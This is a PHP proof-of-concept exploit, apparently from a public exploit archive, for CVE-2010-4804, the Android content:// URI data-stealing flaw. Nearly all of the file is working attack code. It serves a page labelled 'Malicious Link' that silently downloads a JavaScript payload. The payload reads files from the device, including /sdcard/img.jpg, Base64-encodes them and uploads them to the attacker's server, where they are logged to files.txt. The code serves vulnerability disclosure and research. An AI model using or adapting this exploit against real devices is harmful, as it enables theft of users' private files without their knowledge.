1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
<?php /* * Description:Android 'content://' URI Multiple Information Disclosure Vulnerabilities * Bugtraq ID: 48256 * CVE:CVE-2010-4804 * Affected: Android < 2.3.4 * Author: Thomas Cannon * Discovered: 18-Nov-2010 * Advisory: http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/ * * Filename: poc.php * Instructions: Specify files you want to upload in filenames array. Host this php file * on a server and visit it using the Android Browser. Some builds of Android * may require adjustments to the script, for example when a German build was * tested it downloaded the payload as .htm instead of .html, even though .html * was specified. * * Tested on:HTC Desire (UK Version) with Android 2.2 */ //List of the files on the device that we want to upload to our server $filenames = array("/proc/version","/sdcard/img.jpg"); //Determine the full URL of this script $protocol = $_SERVER["HTTPS"] == "on" ? "https" : "http"; $scripturl = $protocol."://".$_SERVER["HTTP_HOST"].$_SERVER["SCRIPT_NAME"]; //Stage 0:Display introduction text and a link to start the PoC. function stage0($scripturl) { echo "<b>Android < 2.3.4</b><br>Data Stealing Web Page<br><br>Click: <a href=\"$scripturl?stage=1\">Malicious Link</a>"; } //Stage 1:Redirect to Stage 2 which will force a download of the HTML/JS payload, then a few seconds later redirect //to the payload. We load the payload using a Content Provider so that the JavaScript is executed in the //context of the local device - this is the vulnerability. function stage1($scripturl) { echo "<body onload=\"setTimeout('window.location=\'$scripturl?stage=2\'',1000);setTimeout('window.location=\'content://com.android.htmlfileprovider/sdcard/download/poc.html\'',5000);\">"; } //Stage 2:Download of payload, the Android browser doesn't prompt for the download which is another vulnerability. //The payload uses AJAX calls to read file contents and encodes as Base64, then uploads to server (Stage 3). function stage2($scripturl,$filenames) { header("Cache-Control: public"); header("Content-Description: File Transfer"); header("Content-Disposition: attachment; filename=poc.html"); header("Content-Type: text/html"); header("Content-Transfer-Encoding: binary"); ?> <html> <body> <script language='javascript'> var filenames = Array('<?php echo implode("','",$filenames); ?>'); var filecontents = new Array(); function processBinary(xmlhttp) { data = xmlhttp.responseText;r = ''; size = data.length; for(var i = 0; i < size; i++) r += String.fromCharCode(data.charCodeAt(i) & 0xff); return r; } function getFiles(filenames) { for (var filename in filenames) { filename = filenames[filename]; xhr = new XMLHttpRequest(); xhr.open('GET', filename, false); xhr.overrideMimeType('text/plain; charset=x-user-defined'); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { filecontents[filename] = btoa(processBinary(xhr)); } } xhr.send(); } } function addField(form, name, value) { var fe = document.createElement('input'); fe.setAttribute('type', 'hidden'); fe.setAttribute('name', name); fe.setAttribute('value', value); form.appendChild(fe); } function uploadFiles(filecontents) { var form = document.createElement('form'); form.setAttribute('method', 'POST'); form.setAttribute('enctype', 'multipart/form-data'); form.setAttribute('action', '<?=$scripturl?>?stage=3'); var i = 0; for (var filename in filecontents) { addField(form, 'filename'+i, btoa(filename)); addField(form, 'data'+i, filecontents[filename]); i += 1; } document.body.appendChild(form); form.submit(); } getFiles(filenames); uploadFiles(filecontents); </script> </body> </html> <?php } //Stage 3:Read the file names and contents sent by the payload and write to a file on the server. function stage3() { $fp = fopen("files.txt", "w") or die("Couldn't open file for writing!"); fwrite($fp, print_r($_POST, TRUE)) or die("Couldn't write data to file!"); fclose($fp); echo "Data uploaded to <a href=\"files.txt\">files.txt</a>!"; } //Select the stage to run depending on the parameter passed in the URL switch($_GET["stage"]) { case "1": stage1($scripturl); break; case "2": stage2($scripturl,$filenames); break; case "3": stage3(); break; default: stage0($scripturl); break; } ?> |